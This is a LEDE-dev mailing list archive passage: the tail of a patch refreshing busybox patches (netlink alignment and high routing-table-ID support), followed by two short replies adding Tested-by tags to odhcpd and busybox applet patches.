--- a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
+++ b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
@@ -1,6 +1,6 @@
 --- a/networking/udhcp/dhcpc.c
 +++ b/networking/udhcp/dhcpc.c
-@@ -697,6 +697,7 @@ static int bcast_or_ucast(struct dhcp_pa
+@@ -704,6 +704,7 @@ static int bcast_or_ucast(struct dhcp_pa
  static NOINLINE int send_discover(uint32_t xid, uint32_t requested)
  {
  	struct dhcp_packet packet;
@@ -8,7 +8,7 @@
  
  	/* Fill in: op, htype, hlen, cookie, chaddr fields,
  	 * random xid field (we override it below),
-@@ -714,6 +715,7 @@ static NOINLINE int send_discover(uint32
+@@ -721,6 +722,7 @@ static NOINLINE int send_discover(uint32
  	 */
  	add_client_options(&packet);
  
diff --git a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
index 4a9ae98..f5e3a07 100644
--- a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
+++ b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
@@ -1,6 +1,6 @@
 --- a/networking/udhcp/dhcpc.c
 +++ b/networking/udhcp/dhcpc.c
-@@ -1422,6 +1422,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
+@@ -1439,6 +1439,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
  		/* silence "uninitialized!" warning */
  		unsigned timestamp_before_wait = timestamp_before_wait;
  
diff --git a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
index 1e44552..3df8d93 100644
--- a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
+++ b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
@@ -1,6 +1,6 @@
 --- a/networking/udhcp/dhcpc.c
 +++ b/networking/udhcp/dhcpc.c
-@@ -1103,7 +1103,6 @@ static void perform_renew(void)
+@@ -1110,7 +1110,6 @@ static void perform_renew(void)
  		state = RENEW_REQUESTED;
  		break;
  	case RENEW_REQUESTED: /* impatient are we? fine, square 1 */
diff --git a/package/utils/busybox/patches/240-telnetd_intr.patch b/package/utils/busybox/patches/240-telnetd_intr.patch
index d52ea3f..fec2a3a 100644
--- a/package/utils/busybox/patches/240-telnetd_intr.patch
+++ b/package/utils/busybox/patches/240-telnetd_intr.patch
@@ -1,6 +1,6 @@
 --- a/networking/telnetd.c
 +++ b/networking/telnetd.c
-@@ -333,6 +333,7 @@ make_new_session(
+@@ -497,6 +497,7 @@ make_new_session(
  
  	/* Restore default signal handling ASAP */
  	bb_signals((1 << SIGCHLD) + (1 << SIGPIPE), SIG_DFL);
diff --git a/package/utils/busybox/patches/250-date-k-flag.patch b/package/utils/busybox/patches/250-date-k-flag.patch
index b2681a1..476440f 100644
--- a/package/utils/busybox/patches/250-date-k-flag.patch
+++ b/package/utils/busybox/patches/250-date-k-flag.patch
@@ -1,6 +1,6 @@
 --- a/coreutils/date.c
 +++ b/coreutils/date.c
-@@ -123,6 +123,7 @@
+@@ -122,6 +122,7 @@
  //usage:	IF_FEATURE_DATE_ISOFMT(
  //usage:     "\n	-D FMT		Use FMT for -d TIME conversion"
  //usage:	)
@@ -8,7 +8,7 @@
  //usage:     "\n"
  //usage:     "\nRecognized TIME formats:"
  //usage:     "\n	hh:mm[:ss]"
-@@ -139,9 +140,8 @@
+@@ -138,9 +139,8 @@
  
  #include "libbb.h"
  #include "common_bufsiz.h"
@@ -20,7 +20,7 @@
  
  enum {
  	OPT_RFC2822   = (1 << 0), /* R */
-@@ -149,8 +149,9 @@ enum {
+@@ -148,8 +148,9 @@ enum {
  	OPT_UTC       = (1 << 2), /* u */
  	OPT_DATE      = (1 << 3), /* d */
  	OPT_REFERENCE = (1 << 4), /* r */
@@ -32,7 +32,7 @@
  };
  
  static void maybe_set_utc(int opt)
-@@ -168,12 +169,15 @@ static const char date_longopts[] ALIGN1
+@@ -167,12 +168,15 @@ static const char date_longopts[] ALIGN1
  	/*	"universal\0" No_argument       "u" */
  		"date\0"      Required_argument "d"
  		"reference\0" Required_argument "r"
@@ -48,7 +48,7 @@
  	struct timespec ts;
  	struct tm tm_time;
  	char buf_fmt_dt2str[64];
-@@ -188,7 +192,7 @@ int date_main(int argc UNUSED_PARAM, cha
+@@ -187,7 +191,7 @@ int date_main(int argc UNUSED_PARAM, cha
  	opt_complementary = "d--s:s--d"
  		IF_FEATURE_DATE_ISOFMT(":R--I:I--R");
  	IF_LONG_OPTS(applet_long_options = date_longopts;)
@@ -57,7 +57,7 @@
  			IF_FEATURE_DATE_ISOFMT("I::D:"),
  			&date_str, &date_str, &filename
  			IF_FEATURE_DATE_ISOFMT(, &isofmt_arg, &fmt_str2dt));
-@@ -245,6 +249,31 @@ int date_main(int argc UNUSED_PARAM, cha
+@@ -244,6 +248,31 @@ int date_main(int argc UNUSED_PARAM, cha
  	if (*argv)
  		bb_show_usage();
  
diff --git a/package/utils/busybox/patches/302-netlink-alignment.patch b/package/utils/busybox/patches/302-netlink-alignment.patch
deleted file mode 100644
index 4cd25b1..0000000
--- a/package/utils/busybox/patches/302-netlink-alignment.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From a843f09a4d4428cf11ca02307e60058251b05743 Mon Sep 17 00:00:00 2001
-From: Hauke Mehrtens <hauke at hauke-m.de>
-Date: Fri, 16 Sep 2016 21:52:03 +0200
-Subject: [PATCH] libnetlink: fix alignment of netlink messages
-
-An padding to align a message should not only be added between
-different attributes of a netlink message, but also at the end of the
-message to pad it to the correct size.
-
-Without this patch the following command does not work and returns an
-error code:
-ip link add type nlmon
-
-Without this ip from busybox sends this:
-sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=45, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1474057401, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon"}, iov_len=45}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 45
-return value: 2
-
-The normal ip utile from iproute2 sends this:
-sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716938, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
-return value: 0
-
-With this patch ip from busybox sends this:
-sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716908, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
-return value: 0
-
-Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
----
- networking/libiproute/libnetlink.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
---- a/networking/libiproute/libnetlink.c
-+++ b/networking/libiproute/libnetlink.c
-@@ -338,14 +338,14 @@ int FAST_FUNC addattr32(struct nlmsghdr
- 	int len = RTA_LENGTH(4);
- 	struct rtattr *rta;
- 
--	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
-+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
- 		return -1;
- 	}
- 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
- 	rta->rta_type = type;
- 	rta->rta_len = len;
- 	move_to_unaligned32(RTA_DATA(rta), data);
--	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
-+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
- 	return 0;
- }
- 
-@@ -354,14 +354,14 @@ int FAST_FUNC addattr_l(struct nlmsghdr
- 	int len = RTA_LENGTH(alen);
- 	struct rtattr *rta;
- 
--	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
-+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
- 		return -1;
- 	}
- 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
- 	rta->rta_type = type;
- 	rta->rta_len = len;
- 	memcpy(RTA_DATA(rta), data, alen);
--	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
-+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
- 	return 0;
- }
- 
-@@ -370,14 +370,14 @@ int FAST_FUNC rta_addattr32(struct rtatt
- 	int len = RTA_LENGTH(4);
- 	struct rtattr *subrta;
- 
--	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
-+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
- 		return -1;
- 	}
- 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
- 	subrta->rta_type = type;
- 	subrta->rta_len = len;
- 	move_to_unaligned32(RTA_DATA(subrta), data);
--	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
-+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
- 	return 0;
- }
- 
-@@ -386,14 +386,14 @@ int FAST_FUNC rta_addattr_l(struct rtatt
- 	struct rtattr *subrta;
- 	int len = RTA_LENGTH(alen);
- 
--	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
-+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
- 		return -1;
- 	}
- 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
- 	subrta->rta_type = type;
- 	subrta->rta_len = len;
- 	memcpy(RTA_DATA(subrta), data, alen);
--	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
-+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
- 	return 0;
- }
- 
diff --git a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch b/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
deleted file mode 100644
index d7a38f6..0000000
--- a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
+++ /dev/null
@@ -1,486 +0,0 @@
-From 485fcc89b99eae9cc7501eaff344b104e52ab7bf Mon Sep 17 00:00:00 2001
-From: Jo-Philipp Wich <jo at mein.io>
-Date: Mon, 26 Sep 2016 17:48:22 +0200
-Subject: [PATCH] iproute: properly support high routing table IDs
-
-The Linux kernel uses two distinct fields to denote the routing table ID in
-use by network routes; the 8 bit `rtm_table` member of `struct rtmsg` and the
-32 bit `RTA_TABLE` netlink attribute.
-
-If a routing table ID is larger than 255, the `RT_TABLE` attribute must be used
-and the `rtm_table` field has to be set to the special `RT_TABLE_UNSPEC` value.
-
-This commit ...
- - switches the *_n2a() and *_a2n() functions of rt_names.c to use dynamically
-   sized, name-sorted arrays instead of fixed arrays limited to 1024 slots in
-   order to support IDs up to 65535
- - adds proper handling of high table IDs to iprule.c and iproute.c when
-   adding, removing and dumping ip rules and network routes
-
-After this change, the Busybox ip applet fully supports IP rules with high ID
-numbers, using the same logic as the full iproute2.
-
-Signed-off-by: Jo-Philipp Wich <jo at mein.io>
----
- networking/libiproute/iproute.c  |  75 ++++++++------
- networking/libiproute/iprule.c   |   4 +-
- networking/libiproute/rt_names.c | 204 +++++++++++++++++++++++----------------
- 3 files changed, 169 insertions(+), 114 deletions(-)
-
---- a/networking/libiproute/iproute.c
-+++ b/networking/libiproute/iproute.c
-@@ -66,6 +66,7 @@ static int FAST_FUNC print_route(const s
- 	inet_prefix dst;
- 	inet_prefix src;
- 	int host_len = -1;
-+	uint32_t rtable;
- 
- 	if (n->nlmsg_type != RTM_NEWROUTE && n->nlmsg_type != RTM_DELROUTE) {
- 		fprintf(stderr, "Not a route: %08x %08x %08x\n",
-@@ -83,34 +84,6 @@ static int FAST_FUNC print_route(const s
- 	else if (r->rtm_family == AF_INET)
- 		host_len = 32;
- 
--	if (r->rtm_family == AF_INET6) {
--		if (G_filter.tb) {
--			if (G_filter.tb < 0) {
--				if (!(r->rtm_flags & RTM_F_CLONED)) {
--					return 0;
--				}
--			} else {
--				if (r->rtm_flags & RTM_F_CLONED) {
--					return 0;
--				}
--				if (G_filter.tb == RT_TABLE_LOCAL) {
--					if (r->rtm_type != RTN_LOCAL) {
--						return 0;
--					}
--				} else if (G_filter.tb == RT_TABLE_MAIN) {
--					if (r->rtm_type == RTN_LOCAL) {
--						return 0;
--					}
--				} else {
--					return 0;
--				}
--			}
--		}
--	} else {
--		if (G_filter.tb > 0 && G_filter.tb != r->rtm_table) {
--			return 0;
--		}
--	}
- 	if (G_filter.rdst.family
- 	 && (r->rtm_family != G_filter.rdst.family || G_filter.rdst.bitlen > r->rtm_dst_len)
- 	) {
-@@ -141,6 +114,37 @@ static int FAST_FUNC print_route(const s
- 	memset(&dst, 0, sizeof(dst));
- 	parse_rtattr(tb, RTA_MAX, RTM_RTA(r), len);
- 
-+	rtable = tb[RTA_TABLE] ? *(uint32_t*)RTA_DATA(tb[RTA_TABLE]) : r->rtm_table;
-+
-+	if (G_filter.tb) {
-+		if (r->rtm_family == AF_INET6) {
-+			if (G_filter.tb < 0) {
-+				if (!(r->rtm_flags & RTM_F_CLONED)) {
-+					return 0;
-+				}
-+			} else {
-+				if (r->rtm_flags & RTM_F_CLONED) {
-+					return 0;
-+				}
-+				if (G_filter.tb == RT_TABLE_LOCAL) {
-+					if (r->rtm_type != RTN_LOCAL) {
-+						return 0;
-+					}
-+				} else if (G_filter.tb == RT_TABLE_MAIN) {
-+					if (r->rtm_type == RTN_LOCAL) {
-+						return 0;
-+					}
-+				} else if (G_filter.tb != rtable) {
-+					return 0;
-+				}
-+			}
-+		} else {
-+			if (G_filter.tb != rtable) {
-+				return 0;
-+			}
-+		}
-+	}
-+
- 	if (tb[RTA_SRC]) {
- 		src.bitlen = r->rtm_src_len;
- 		src.bytelen = (r->rtm_family == AF_INET6 ? 16 : 4);
-@@ -349,7 +353,9 @@ IF_FEATURE_IP_RULE(ARG_table,)
- 	smalluint ok = 0;
- 	smalluint scope_ok = 0;
- 	int arg;
--
-+#if ENABLE_FEATURE_IP_RULE
-+	uint32_t rtable = 0;
-+#endif
- 	memset(&req, 0, sizeof(req));
- 
- 	req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
-@@ -419,7 +425,7 @@ IF_FEATURE_IP_RULE(ARG_table,)
- 			NEXT_ARG();
- 			if (rtnl_rttable_a2n(&tid, *argv))
- 				invarg_1_to_2(*argv, "table");
--			req.r.rtm_table = tid;
-+			rtable = tid;
- #endif
- 		} else if (arg == ARG_dev || arg == ARG_oif) {
- 			NEXT_ARG();
-@@ -475,6 +481,15 @@ IF_FEATURE_IP_RULE(ARG_table,)
- 		}
- 	}
- 
-+#if ENABLE_FEATURE_IP_RULE
-+	if (rtable >= 256) {
-+		addattr32(&req.n, sizeof(req), RTA_TABLE, rtable);
-+		req.r.rtm_table = RT_TABLE_UNSPEC;
-+	} else if (rtable > 0) {
-+		req.r.rtm_table = rtable;
-+	}
-+#endif
-+
- 	if (mxrta->rta_len > RTA_LENGTH(0)) {
- 		if (mxlock) {
- 			rta_addattr32(mxrta, sizeof(mxbuf), RTAX_LOCK, mxlock);
---- a/networking/libiproute/iprule.c
-+++ b/networking/libiproute/iprule.c
-@@ -114,7 +114,9 @@ static int FAST_FUNC print_rule(const st
- 		printf("iif %s ", (char*)RTA_DATA(tb[RTA_IIF]));
- 	}
- 
--	if (r->rtm_table)
-+	if (tb[RTA_TABLE])
-+		printf("lookup %s ", rtnl_rttable_n2a(*(uint32_t*)RTA_DATA(tb[RTA_TABLE])));
-+	else if (r->rtm_table)
- 		printf("lookup %s ", rtnl_rttable_n2a(r->rtm_table));
- 
- 	if (tb[RTA_FLOW]) {
---- a/networking/libiproute/rt_names.c
-+++ b/networking/libiproute/rt_names.c
-@@ -11,21 +11,26 @@
- #include "rt_names.h"
- 
- #define CONFDIR          CONFIG_FEATURE_IP_ROUTE_DIR
-+#define RT_TABLE_MAX	65535
-+
-+struct rtnl_tab_entry {
-+	unsigned int id;
-+	const char *name;
-+};
- 
- typedef struct rtnl_tab_t {
--	const char *cached_str;
--	unsigned cached_result;
--	/* upstream version switched to a hash table and removed
--	 * id < 256 limit. For now bbox bumps this array size from 256
--	 * to 1024. If you plan to change this to a hash table,
--	 * consider merging several hash tables we have (for example,
--	 * awk has resizable one!
--	 */
--#define RT_TABLE_MAX 1023
--	const char *tab[RT_TABLE_MAX+1];
-+	struct rtnl_tab_entry *tab;
-+	size_t length;
- } rtnl_tab_t;
- 
--static void rtnl_tab_initialize(const char *file, const char **tab)
-+static int tabcmp(const void *p1, const void *p2)
-+{
-+	const struct rtnl_tab_entry *e1 = p1;
-+	const struct rtnl_tab_entry *e2 = p2;
-+	return strcmp(e1->name, e2->name);
-+}
-+
-+static void rtnl_tab_initialize(const char *file, rtnl_tab_t *tab)
- {
- 	char *token[2];
- 	char fullname[sizeof(CONFDIR"/rt_dsfield") + 8];
-@@ -40,34 +45,42 @@ static void rtnl_tab_initialize(const ch
- 				file, parser->lineno);
- 			break;
- 		}
--		tab[id] = xstrdup(token[1]);
-+
-+		tab->tab = xrealloc(tab->tab, (tab->length + 1) * sizeof(*tab->tab));
-+		tab->tab[tab->length].id = id;
-+		tab->tab[tab->length].name = xstrdup(token[1]);
-+		tab->length++;
- 	}
- 	config_close(parser);
-+	qsort(tab->tab, tab->length, sizeof(*tab->tab), tabcmp);
- }
- 
- static int rtnl_a2n(rtnl_tab_t *tab, uint32_t *id, const char *arg, int base)
- {
--	unsigned i;
--
--	if (tab->cached_str && strcmp(tab->cached_str, arg) == 0) {
--		*id = tab->cached_result;
--		return 0;
--	}
-+	int delta;
-+	ssize_t l = 0;
-+	ssize_t r = tab->length - 1;
-+	ssize_t m;
-+	uint32_t i;
-+
-+	while (l <= r) {
-+		m = l + (r - l) / 2;
-+		delta = strcmp(tab->tab[m].name, arg);
- 
--	for (i = 0; i <= RT_TABLE_MAX; i++) {
--		if (tab->tab[i]
--		 && strcmp(tab->tab[i], arg) == 0
--		) {
--			tab->cached_str = tab->tab[i];
--			tab->cached_result = i;
--			*id = i;
-+		if (delta == 0) {
-+			*id = tab->tab[m].id;
- 			return 0;
-+		} else if (delta < 0) {
-+			l = m + 1;
-+		} else {
-+			r = m - 1;
- 		}
- 	}
- 
- 	i = bb_strtou(arg, NULL, base);
- 	if (i > RT_TABLE_MAX)
- 		return -1;
-+
- 	*id = i;
- 	return 0;
- }
-@@ -77,40 +90,39 @@ static rtnl_tab_t *rtnl_rtprot_tab;
- 
- static void rtnl_rtprot_initialize(void)
- {
--	static const char *const init_tab[] = {
--		"none",
--		"redirect",
--		"kernel",
--		"boot",
--		"static",
--		NULL,
--		NULL,
--		NULL,
--		"gated",
--		"ra",
--		"mrt",
--		"zebra",
--		"bird",
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{  0, "none"     },
-+		{  1, "redirect" },
-+		{  2, "kernel"   },
-+		{  3, "boot"     },
-+		{  4, "static"   },
-+		{  8, "gated"    },
-+		{  9, "ra"       },
-+		{ 10, "mrt"      },
-+		{ 11, "zebra"    },
-+		{ 12, "bird"     }
- 	};
- 
- 	if (rtnl_rtprot_tab)
- 		return;
- 	rtnl_rtprot_tab = xzalloc(sizeof(*rtnl_rtprot_tab));
-+	rtnl_rtprot_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtprot_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
- 	memcpy(rtnl_rtprot_tab->tab, init_tab, sizeof(init_tab));
--	rtnl_tab_initialize("protos", rtnl_rtprot_tab->tab);
-+	rtnl_tab_initialize("protos", rtnl_rtprot_tab);
- }
- 
- #if 0 /* UNUSED */
- const char* FAST_FUNC rtnl_rtprot_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtprot_initialize();
- 
--	if (rtnl_rtprot_tab->tab[id])
--		return rtnl_rtprot_tab->tab[id];
-+	for (i = 0; i < rtnl_rtprot_tab->length; i++)
-+		if (rtnl_rtprot_tab->tab[i].id == id)
-+			return rtnl_rtprot_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- #endif
-@@ -126,27 +138,33 @@ static rtnl_tab_t *rtnl_rtscope_tab;
- 
- static void rtnl_rtscope_initialize(void)
- {
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{   0, "global"  },
-+		{ 200, "site"    },
-+		{ 253, "link"    },
-+		{ 254, "host"    },
-+		{ 255, "nowhere" }
-+	};
-+
- 	if (rtnl_rtscope_tab)
- 		return;
- 	rtnl_rtscope_tab = xzalloc(sizeof(*rtnl_rtscope_tab));
--	rtnl_rtscope_tab->tab[0] = "global";
--	rtnl_rtscope_tab->tab[255] = "nowhere";
--	rtnl_rtscope_tab->tab[254] = "host";
--	rtnl_rtscope_tab->tab[253] = "link";
--	rtnl_rtscope_tab->tab[200] = "site";
--	rtnl_tab_initialize("scopes", rtnl_rtscope_tab->tab);
-+	rtnl_rtscope_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtscope_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
-+	memcpy(rtnl_rtscope_tab->tab, init_tab, sizeof(init_tab));
-+	rtnl_tab_initialize("scopes", rtnl_rtscope_tab);
- }
- 
- const char* FAST_FUNC rtnl_rtscope_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtscope_initialize();
- 
--	if (rtnl_rtscope_tab->tab[id])
--		return rtnl_rtscope_tab->tab[id];
-+	for (i = 0; i < rtnl_rtscope_tab->length; i++)
-+		if (rtnl_rtscope_tab->tab[i].id == id)
-+			return rtnl_rtscope_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- 
-@@ -161,10 +179,17 @@ static rtnl_tab_t *rtnl_rtrealm_tab;
- 
- static void rtnl_rtrealm_initialize(void)
- {
--	if (rtnl_rtrealm_tab) return;
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{ 0, "unknown" }
-+	};
-+
-+	if (rtnl_rtrealm_tab)
-+		return;
- 	rtnl_rtrealm_tab = xzalloc(sizeof(*rtnl_rtrealm_tab));
--	rtnl_rtrealm_tab->tab[0] = "unknown";
--	rtnl_tab_initialize("realms", rtnl_rtrealm_tab->tab);
-+	rtnl_rtrealm_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtrealm_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
-+	memcpy(rtnl_rtrealm_tab->tab, init_tab, sizeof(init_tab));
-+	rtnl_tab_initialize("realms", rtnl_rtrealm_tab);
- }
- 
- int FAST_FUNC rtnl_rtrealm_a2n(uint32_t *id, char *arg)
-@@ -176,14 +201,14 @@ int FAST_FUNC rtnl_rtrealm_a2n(uint32_t
- #if ENABLE_FEATURE_IP_RULE
- const char* FAST_FUNC rtnl_rtrealm_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtrealm_initialize();
- 
--	if (rtnl_rtrealm_tab->tab[id])
--		return rtnl_rtrealm_tab->tab[id];
-+	for (i = 0; i < rtnl_rtrealm_tab->length; i++)
-+		if (rtnl_rtrealm_tab->tab[i].id == id)
-+			return rtnl_rtrealm_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- #endif
-@@ -193,22 +218,29 @@ static rtnl_tab_t *rtnl_rtdsfield_tab;
- 
- static void rtnl_rtdsfield_initialize(void)
- {
--	if (rtnl_rtdsfield_tab) return;
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{ 0, "0" }
-+	};
-+
-+	if (rtnl_rtdsfield_tab)
-+		return;
- 	rtnl_rtdsfield_tab = xzalloc(sizeof(*rtnl_rtdsfield_tab));
--	rtnl_rtdsfield_tab->tab[0] = "0";
--	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab->tab);
-+	rtnl_rtdsfield_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtdsfield_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
-+	memcpy(rtnl_rtdsfield_tab->tab, init_tab, sizeof(init_tab));
-+	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab);
- }
- 
- const char* FAST_FUNC rtnl_dsfield_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtdsfield_initialize();
- 
--	if (rtnl_rtdsfield_tab->tab[id])
--		return rtnl_rtdsfield_tab->tab[id];
-+	for (i = 0; i < rtnl_rtdsfield_tab->length; i++)
-+		if (rtnl_rtdsfield_tab->tab[i].id == id)
-+			return rtnl_rtdsfield_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- 
-@@ -224,27 +256,33 @@ static rtnl_tab_t *rtnl_rttable_tab;
- 
- static void rtnl_rttable_initialize(void)
- {
-+	static const struct rtnl_tab_entry tab_init[] = {
-+		{   0, "unspec"  },
-+		{ 253, "default" },
-+		{ 254, "main"    },
-+		{ 255, "local"   }
-+	};
-+
- 	if (rtnl_rttable_tab)
- 		return;
- 
- 	rtnl_rttable_tab = xzalloc(sizeof(*rtnl_rttable_tab));
--	rtnl_rttable_tab->tab[0] = "unspec";
--	rtnl_rttable_tab->tab[255] = "local";
--	rtnl_rttable_tab->tab[254] = "main";
--	rtnl_rttable_tab->tab[253] = "default";
--	rtnl_tab_initialize("tables", rtnl_rttable_tab->tab);
-+	rtnl_rttable_tab->tab = xzalloc(sizeof(tab_init));
-+	rtnl_rttable_tab->length = sizeof(tab_init) / sizeof(tab_init[0]);
-+	memcpy(rtnl_rttable_tab->tab, tab_init, sizeof(tab_init));
-+	rtnl_tab_initialize("tables", rtnl_rttable_tab);
- }
- 
- const char* FAST_FUNC rtnl_rttable_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rttable_initialize();
- 
--	if (rtnl_rttable_tab->tab[id])
--		return rtnl_rttable_tab->tab[id];
-+	for (i = 0; i < rtnl_rttable_tab->length; i++)
-+		if (rtnl_rttable_tab->tab[i].id == id)
-+			return rtnl_rttable_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- 
-- 
2.1.4



From dedeckeh at gmail.com  Thu Jan  5 00:27:47 2017
From: dedeckeh at gmail.com (Hans Dedecker)
Date: Thu, 5 Jan 2017 09:27:47 +0100
Subject: [LEDE-DEV] [RFC PATCH odhcpd] config: respect ignore uci option
In-Reply-To: <412c5489-1df2-5688-a198-4a24703a60df@linux-ipv6.be>
References: <20170103130908.16868-1-jo@mein.io>
 <412c5489-1df2-5688-a198-4a24703a60df@linux-ipv6.be>
Message-ID: <CAJLcKsHuVkiSbxgZAM_uZzH-3QLtvEMV=oEB403GowUGwEt-tA@mail.gmail.com>

On Wed, Jan 4, 2017 at 10:12 PM, Stijn Tintel <stijn at linux-ipv6.be> wrote:
> On 03-01-17 14:09, Jo-Philipp Wich wrote:
>> The odhcpd documentation currently implies that "option ignore 1" in a section
>> of type "dhcp" will disable any services on the referenced interface while the
>> code actually ignores the setting when initializing referenced interfaces.
>>
>> This commonly leads to situations where users think that "option disabled"
>> will prevent any server activity on a given interface while in reality odhcpd
>> effectively acts as rogue DHCPv6 server in its default configuration.
>>
>> To fully inhibit any activity, one has to specify both "option ignore 1" as
>> well as "option ra disabled", "option ndp disabled" and
>> "option dhcpv6 disabled" which is highly counter intuitive at best.
>>
>> A previous commit (5f425ed Respect interface "ignore" settings as documented.)
>> attempted to address the problem by observing the value of i->ignore instead
>> of unconditionally enabling all protocols but broke the ability to use DHCPv6
>> relay mode while having DHCPv4 disabled.
>>
>> This patch changes ...
>>
>>  - the enabling of services on an interface to use the value of the ignore
>>    option as default choice instead of hardcoding "true"
>>
>>  - the options "ra", "ndp", "dhcpv4" and "dhcpv6" to take precedence over the
>>    default "ignore" state to allow selectively enabling services on ignored
>>    interfaces
>>
>>  - the README to clarify the fact that "ra", "ndp", "dhcpv4" and "dhcpv6" can
>>    now override "option ignore"
>>
>> Signed-off-by: Jo-Philipp Wich <jo at mein.io>
> Tested-by: Stijn Tintel <stijn at linux-ipv6.be>
Tested-by: Hans Dedecker <dedeckeh at gmail.com>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From koen.vandeputte at ncentric.com  Thu Jan  5 02:02:24 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Thu, 5 Jan 2017 11:02:24 +0100
Subject: [LEDE-DEV] [PATCH RFC 1/3] busybox: convert netmsg applet to
 "new style" applet definition
In-Reply-To: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
Message-ID: <572dd94c-8472-6114-239b-735819057ca7@ncentric.com>

Compile & run-tested on cns3xxx

Tested-by: Koen Vandeputte <koen.vandeputte at ncentric.com>

On 2017-01-04 23:54, Magnus Kroken wrote:
> The "new style" busybox applet approach moves all config
